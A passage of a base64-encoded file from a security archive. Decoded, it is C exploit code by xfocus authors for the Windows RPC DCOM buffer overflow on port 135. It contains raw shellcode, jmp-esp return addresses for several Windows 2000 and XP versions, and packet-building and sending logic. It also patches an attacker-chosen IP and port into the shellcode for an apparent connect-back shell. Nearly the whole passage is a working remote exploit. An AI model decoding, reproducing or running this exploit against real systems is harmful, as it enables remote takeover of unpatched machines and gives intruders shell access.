IGVzcCAncyBhZGRyZXNzIG9uIFdpbmRvd3MgMmsgU1A0IENoaW5lc2UgdmVyc2lvbi4NCiAgICAi
XHgzOFx4NmVceDE2XHg3Nlx4MGRceDZlXHgxNlx4NzYiICAvL3Nob3VsZCBiZSBhZGRyZXNzIHdo
aWNoIGNhbiBiZSB3cml0dGVuLg0KICAgICAgICAvL2hlcmUgaXMgU0hFTExDT0RFo6x3ZSBjYW4g
dXNlIG91ciBTSEVMTENPREWjrGJ1dCB0aGUgbGVuZ3RoIG11c3QgYmUgc2l6ZW9mKHNoZWxsY29k
ZSklMTY9MTIgLGlmIG5vdCBwbGVhc2UgZmlsbCB3aXRoIDB4OTAgDQogICAgICAgIC8vU0hFTExD
T0RFIGNhbid0IGhhcyB0aGUgY29kZSBzdWNoIGFzIDBYMDAgYW5kIDBYNUMNCiAgICAiXHhlYlx4
MDJceGViXHgwNVx4ZThceGY5XHhmZlx4ZmZceGZmXHg1OFx4ODNceGMwXHgxYlx4OGRceGEwXHgw
MSINCiAgICAiXHhmY1x4ZmZceGZmXHg4M1x4ZTRceGZjXHg4Ylx4ZWNceDMzXHhjOVx4NjZceGI5
XHg5OVx4MDFceDgwXHgzMCINCiAgICAiXHg5M1x4NDBceGUyXHhmYSINCiAgICAvLyBjb2RlIA0K
ICAgICJceDdiXHhlNFx4OTNceDkzXHg5M1x4ZDRceGY2XHhlN1x4YzNceGUxXHhmY1x4ZjBceGQy
XHhmN1x4ZjdceGUxIg0KICAgICJceGY2XHhlMFx4ZTBceDkzXHhkZlx4ZmNceGYyXHhmN1x4ZGZc
eGZhXHhmMVx4ZTFceGYyXHhlMVx4ZWFceGQyIg0KICAgICJceDkzXHhkMFx4ZTFceGY2XHhmMlx4
ZTdceGY2XHhjM1x4ZTFceGZjXHhmMFx4ZjZceGUwXHhlMFx4ZDJceDkzIg0KICAgICJceGQwXHhm
Zlx4ZmNceGUwXHhmNlx4ZGJceGYyXHhmZFx4ZjdceGZmXHhmNlx4OTNceGQ2XHhlYlx4ZmFceGU3
Ig0KICAgICJceGM3XHhmYlx4ZTFceGY2XHhmMlx4ZjdceDkzXHhlNFx4ZTBceGExXHhjY1x4YTBc
eGExXHg5M1x4YzRceGMwIg0KICAgICJceGQyXHhjMFx4ZTdceGYyXHhlMVx4ZTdceGU2XHhlM1x4
OTNceGM0XHhjMFx4ZDJceGMwXHhmY1x4ZjBceGY4Ig0KICAgICJceGY2XHhlN1x4ZDJceDkzXHhm
MFx4ZmZceGZjXHhlMFx4ZjZceGUwXHhmY1x4ZjBceGY4XHhmNlx4ZTdceDkzIg0KICAgICJceGYw
XHhmY1x4ZmRceGZkXHhmNlx4ZjBceGU3XHg5M1x4ZjBceGZlXHhmN1x4OTNceGM5XHhjMVx4Mjhc
eDkzIg0KICAgICJceDkzXHg2M1x4ZTRceDEyXHhhOFx4ZGVceGM5XHgwM1x4OTNceGU3XHg5MFx4
ZDhceDc4XHg2Nlx4MThceGUwIg0KICAgICJceGFmXHg5MFx4NjBceDE4XHhlNVx4ZWJceDkwXHg2
MFx4MThceGVkXHhiM1x4OTBceDY4XHgxOFx4ZGRceDg3Ig0KICAgICJceGM1XHhhMFx4NTNceGM0
XHhjMlx4MThceGFjXHg5MFx4NjhceDE4XHg2MVx4YTBceDVhXHgyMlx4OWRceDYwIg0KICAgICJc
eDM1XHhjYVx4Y2NceGU3XHg5Ylx4MTBceDU0XHg5N1x4ZDNceDcxXHg3Ylx4NmNceDcyXHhjZFx4
MThceGM1Ig0KICAgICJceGI3XHg5MFx4NDBceDQyXHg3M1x4OTBceDUxXHhhMFx4NWFceGY1XHgx
OFx4OWJceDE4XHhkNVx4OGZceDkwIg0KICAgICJceDUwXHg1Mlx4NzJceDkxXHg5MFx4NTJceDE4
XHg4M1x4OTBceDQwXHhjZFx4MThceDZkXHhhMFx4NWFceDIyIg0KICAgICJceDk3XHg3Ylx4MDhc
eDkzXHg5M1x4OTNceDEwXHg1NVx4OThceGMxXHhjNVx4NmNceGM0XHg2M1x4YzlceDE4Ig0KICAg
ICJceDRiXHhhMFx4NWFceDIyXHg5N1x4N2JceDE0XHg5M1x4OTNceDkzXHgxMFx4NTVceDliXHhj
Nlx4ZmJceDkyIg0KICAgICJceDkyXHg5M1x4OTNceDZjXHhjNFx4NjNceDE2XHg1M1x4ZTZceGUw
XHhjM1x4YzNceGMzXHhjM1x4ZDNceGMzIg0KICAgICJceGQzXHhjM1x4NmNceGM0XHg2N1x4MTBc
eDZiXHg2Y1x4ZTdceGYwXHgxOFx4NGJceGY1XHg1NFx4ZDZceDkzIg0KICAgICJceDkxXHg5M1x4
ZjVceDU0XHhkNlx4OTFceDI4XHgzOVx4NTRceGQ2XHg5N1x4NGVceDVmXHgyOFx4MzlceGY5Ig0K
ICAgICJceDgzXHhjNlx4YzBceDZjXHhjNFx4NmZceDE2XHg1M1x4ZTZceGQwXHhhMFx4NWFceDIy
XHg4Mlx4YzRceDE4Ig0KICAgICJceDZlXHg2MFx4MzhceGNjXHg1NFx4ZDZceDkzXHhkN1x4OTNc
eDkzXHg5M1x4MWFceGNlXHhhZlx4MWFceGNlIg0KICAgICJceGFiXHgxYVx4Y2VceGQzXHg1NFx4
ZDZceGJmXHg5Mlx4OTJceDkzXHg5M1x4MWVceGQ2XHhkN1x4YzNceGM2Ig0KICAgICJceGMyXHhj
Mlx4YzJceGQyXHhjMlx4ZGFceGMyXHhjMlx4YzVceGMyXHg2Y1x4YzRceDc3XHg2Y1x4ZTZceGQ3
Ig0KICAgICJceDZjXHhjNFx4N2JceDZjXHhlNlx4ZGJceDZjXHhjNFx4N2JceGMwXHg2Y1x4YzRc
eDZiXHhjM1x4NmNceGM0Ig0KICAgICJceDdmXHgxOVx4OTVceGQ1XHgxN1x4NTNceGU2XHg2YVx4
YzJceGMxXHhjNVx4YzBceDZjXHg0MVx4YzlceGNhIg0KICAgICJceDFhXHg5NFx4ZDRceGQ0XHhk
NFx4ZDRceDcxXHg3YVx4NTBceDkwXHg5MCINCiAgICAiXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIjsNCg0KdW5zaWduZWQgY2hhciByZXF1ZXN0NFtdPXsN
CjB4MDEsMHgxMA0KLDB4MDgsMHgwMCwweENDLDB4Q0MsMHhDQywweENDLDB4MjAsMHgwMCwweDAw
LDB4MDAsMHgzMCwweDAwLDB4MkQsMHgwMCwweDAwLDB4MDANCiwweDAwLDB4MDAsMHg4OCwweDJB
LDB4MEMsMHgwMCwweDAyLDB4MDAsMHgwMCwweDAwLDB4MDEsMHgwMCwweDAwLDB4MDAsMHgyOCww
eDhDDQosMHgwQywweDAwLDB4MDEsMHgwMCwweDAwLDB4MDAsMHgwNywweDAwLDB4MDAsMHgwMCww
eDAwLDB4MDAsMHgwMCwweDAwDQp9Ow0KDQp2b2lkIG1haW4oaW50IGFyZ2MsY2hhciAqKiBhcmd2
KQ0Kew0KICAgIFdTQURBVEEgV1NBRGF0YTsNCiAgICBTT0NLRVQgc29jazsNCiAgICBpbnQgbGVu
LGxlbjE7DQogICAgU09DS0FERFJfSU4gYWRkcl9pbjsNCiAgICBzaG9ydCBwb3J0PTEzNTsNCiAg
ICB1bnNpZ25lZCBjaGFyIGJ1ZjFbMHgxMDAwXTsNCiAgICB1bnNpZ25lZCBjaGFyIGJ1ZjJbMHgx
MDAwXTsNCiAgICB1bnNpZ25lZCBzaG9ydCBwb3J0MTsNCiAgICBEV09SRCBjYjsNCiAgICANCiAg
ICBwcmludGYoIlJQQyBEQ09NIG92ZXJmbG93IFZ1bG5lcmFiaWxpdHkgZGlzY292ZXJpZWQgYnkg
TFNEXG4iKTsNCiAgICBwcmludGYoIkNvZGUgYnkgRmxhc2hTa3ksRmxhc2hza3lAeGZvY3VzLm9y
ZyxiZW5qdXJyeSxiZW5qdXJyeUB4Zm9jdXMub3JnXG4iKTsNCiAgICBwcmludGYoIldlbGNvbWUg
dG8gb3VyIEVuZ2xpc2ggU2l0ZTogaHR0cDovL3d3dy54Zm9jdXMub3JnXG4iKTsNCiAgICBwcmlu
dGYoIldlbGNvbWUgdG8gb3VyIENoaW5lc2UgU2l0ZTogaHR0cDovL3d3dy54Zm9jdXMubmV0XG4i
KTsNCg0KDQppZihhcmdjPDUpDQp7DQogIHByaW50ZigidXNlYWdlOiVzIHRhcmdldGlwIGxvY2Fs
SVAgTG9jYWxQb3J0IFNQVmVyc2lvblxuIixhcmd2WzBdKTsNCiAgIHByaW50ZigiU1BWZXJzaW9u
OlxuMCB3MmsgQ2hpbmVzZSB2ZXJzaW9uICtzcDNcbiAxIHcyayBDaGluZXNlIHZlcnNpb24gK1NQ
NFxuIDIgd2lueHAgRW5nbGlzaCB2ZXJzaW9uICtzcDFcbiIpOw0KZXhpdCgxKTsNCn0NCiANCmlm
KGF0b2koYXJndls0XSk9PTApDQptZW1jcHkoc2MrMzYsam1wZXNwX2NuX3NwMyxzaXplb2Yoam1w
ZXNwX2NuX3NwMykpOw0KZWxzZSBpZiAoYXRvaShhcmd2WzRdKT09MSkNCm1lbWNweShzYyszNixq
bXBlc3BfY25fc3A0LHNpemVvZihqbXBlc3BfY25fc3A0KSk7DQplbHNlIGlmIChhdG9pKGFyZ3Zb
NF0pPT0yKQ0KbWVtY3B5KHNjKzM2LGptcGVzcF9lbl94cF9zcDEsc2l6ZW9mKGptcGVzcF9lbl94
cF9zcDEpKTsNCg0KDQogICAgaWYgKFdTQVN0YXJ0dXAoTUFLRVdPUkQoMiwwKSwmV1NBRGF0YSkh
PTApDQogICAgew0KICAgICAgICBwcmludGYoIldTQVN0YXJ0dXAgZXJyb3IuRXJyb3I6JWRcbiIs
V1NBR2V0TGFzdEVycm9yKCkpOw0KICAgICAgICByZXR1cm47DQogICAgfQ0KDQogICAgYWRkcl9p
bi5zaW5fZmFtaWx5PUFGX0lORVQ7DQogICAgYWRkcl9pbi5zaW5fcG9ydD1odG9ucyhwb3J0KTsN
CiAgICBhZGRyX2luLnNpbl9hZGRyLlNfdW4uU19hZGRyPWluZXRfYWRkcihhcmd2WzFdKTsNCiAg
ICANCiAgICBpZiAoKHNvY2s9c29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0sSVBQUk9UT19UQ1Ap
KT09SU5WQUxJRF9TT0NLRVQpDQogICAgew0KICAgICAgICBwcmludGYoIlNvY2tldCBmYWlsZWQu
RXJyb3I6JWRcbiIsV1NBR2V0TGFzdEVycm9yKCkpOw0KICAgICAgICByZXR1cm47DQogICAgfQ0K
ICAgIGlmKFdTQUNvbm5lY3Qoc29jaywoc3RydWN0IHNvY2thZGRyICopJmFkZHJfaW4sc2l6ZW9m
KGFkZHJfaW4pLE5VTEwsTlVMTCxOVUxMLE5VTEwpPT1TT0NLRVRfRVJST1IpDQogICAgew0KICAg
ICAgICBwcmludGYoIkNvbm5lY3QgZmFpbGVkLkVycm9yOiVkIixXU0FHZXRMYXN0RXJyb3IoKSk7
DQogICAgICAgIHJldHVybjsNCiAgICB9DQogICAgcG9ydDEgPSBodG9ucyhhdG9pKGFyZ3ZbM10p
KTsgIA0KICAgIHBvcnQxIF49IDB4OTM5MzsNCiAgICBjYj1pbmV0X2FkZHIoYXJndlsyXSk7DQog
ICAgY2IgXj0gMHg5MzkzOTM5MzsNCiAgICAqKHVuc2lnbmVkIHNob3J0ICopJnNjWzMzMCsweDMw
XSA9IHBvcnQxOw0KICAgICoodW5zaWduZWQgaW50ICopJnNjWzMzNSsweDMwXSA9IGNiOw0KICAg
IGxlbj1zaXplb2Yoc2MpOw0KICAgIG1lbWNweShidWYyLHJlcXVlc3QxLHNpemVvZihyZXF1ZXN0
MSkpOw0KICAgIGxlbjE9c2l6ZW9mKHJlcXVlc3QxKTsNCiAgICAqKERXT1JEICopKHJlcXVlc3Qy
KT0qKERXT1JEICopKHJlcXVlc3QyKStzaXplb2Yoc2MpLzI7ICANCiAgICAqKERXT1JEICopKHJl
cXVlc3QyKzgpPSooRFdPUkQgKikocmVxdWVzdDIrOCkrc2l6ZW9mKHNjKS8yOw0KICAgIG1lbWNw
eShidWYyK2xlbjEscmVxdWVzdDIsc2l6ZW9mKHJlcXVlc3QyKSk7DQogICAgbGVuMT1sZW4xK3Np
emVvZihyZXF1ZXN0Mik7DQogICAgbWVtY3B5KGJ1ZjIrbGVuMSxzYyxzaXplb2Yoc2MpKTsNCiAg
ICBsZW4xPWxlbjErc2l6ZW9mKHNjKTsNCiAgICBtZW1jcHkoYnVmMitsZW4xLHJlcXVlc3QzLHNp
emVvZihyZXF1ZXN0MykpOw0KICAgIGxlbjE9bGVuMStzaXplb2YocmVxdWVzdDMpOw0KICAgIG1l
bWNweShidWYyK2xlbjEscmVxdWVzdDQsc2l6ZW9mKHJlcXVlc3Q0KSk7DQogICAgbGVuMT1sZW4x
K3NpemVvZihyZXF1ZXN0NCk7DQogICAgKihEV09SRCAqKShidWYyKzgpPSooRFdPUkQgKikoYnVm
Mis4KStzaXplb2Yoc2MpLTB4YzsNCg0KICAgICooRFdPUkQgKikoYnVmMisweDEwKT0qKERXT1JE
ICopKGJ1ZjIrMHgxMCkrc2l6ZW9mKHNjKS0weGM7ICANCiAgICAqKERXT1JEICopKGJ1ZjIrMHg4
MCk9KihEV09SRCAqKShidWYyKzB4ODApK3NpemVvZihzYyktMHhjOw0KICAgICooRFdPUkQgKiko
YnVmMisweDg0KT0qKERXT1JEICopKGJ1ZjIrMHg4NCkrc2l6ZW9mKHNjKS0weGM7DQogICAgKihE
V09SRCAqKShidWYyKzB4YjQpPSooRFdPUkQgKikoYnVmMisweGI0KStzaXplb2Yoc2MpLTB4YzsN
CiAgICAqKERXT1JEICopKGJ1ZjIrMHhiOCk9KihEV09SRCAqKShidWYyKzB4YjgpK3NpemVvZihz
YyktMHhjOw0KICAgICooRFdPUkQgKikoYnVmMisweGQwKT0qKERXT1JEICopKGJ1ZjIrMHhkMCkr
c2l6ZW9mKHNjKS0weGM7DQogICAgKihEV09SRCAqKShidWYyKzB4MThjKT0qKERXT1JEICopKGJ1
ZjIrMHgxOGMpK3NpemVvZihzYyktMHhjOw0KICAgIGlmIChzZW5kKHNvY2ssYmluZHN0cixzaXpl
b2YoYmluZHN0ciksMCk9PVNPQ0tFVF9FUlJPUikNCiAgICB7DQogICAgICAgICAgICBwcmludGYo
IlNlbmQgZmFpbGVkLkVycm9yOiVkXG4iLFdTQUdldExhc3RFcnJvcigpKTsNCiAgICAgICAgICAg
IHJldHVybjsNCiAgICB9DQogICAgDQogICAgbGVuPXJlY3Yoc29jayxidWYxLDEwMDAsTlVMTCk7
DQogICAgaWYgKHNlbmQoc29jayxidWYyLGxlbjEsMCk9PVNPQ0tFVF9FUlJPUikNCiAgICB7DQog
ICAgICAgICAgICBwcmludGYoIlNlbmQgZmFpbGVkLkVycm9yOiVkXG4iLFdTQUdldExhc3RFcnJv
cigpKTsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICB9DQogICAgbGVuPXJlY3Yoc29jayxidWYx
LDEwMjQsTlVMTCk7DQp9IA0KDQpBYm91dCBYRk9DVVMuT1JHDQogICBYZm9jdXMgaXMgYSBub24t
cHJvZml0IGFuZCBmcmVlIHRlY2hub2xvZ3kgb3JnYW5pemF0aW9uIHdoaWNoIHdhcyBmb3VuZGVk
IGluIDE5OTggaW4gQ2hpbmEuIFdlIGFyZSBkZXZvdGluZyB0byByZXNlYXJjaCBhbmQgZGVtb25z
dHJhdGlvbiBvZiB3ZWFrbmVzc2VzIHJlbGF0ZWQgdG8gbmV0d29yayBzZXJ2aWNlcyBhbmQgY29t
bXVuaWNhdGlvbiBzZWN1cml0eS4NCldlIGhvcGUgdGhhdCB3ZSBjYW4gdXNlIG5ldyB0ZWNobmlj
YWwgdG9vbHMgdG8gYWNoaWV2ZSBvdXIgZ29hbCwgYW5kIHRvIGJyb2FkZW4gb3VyIG91dGxvb2su
IFdlIGFsc28gaG9wZSB3ZSBjYW4gY29tbXVuaWNhdGUgYW5kIGhlbHAgd2l0aCBlYWNoIG90aGVy
IHRocm91Z2ggdGhpcyBhbWF6aW5nIEludGVybmV0Lg0KICAgDQogICBGcm9tIHRoZSBJbnRlcm5l
dC4gRm9yIHRoZSBJbnRlcm5ldC4gSGF2ZSBmdW4h

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH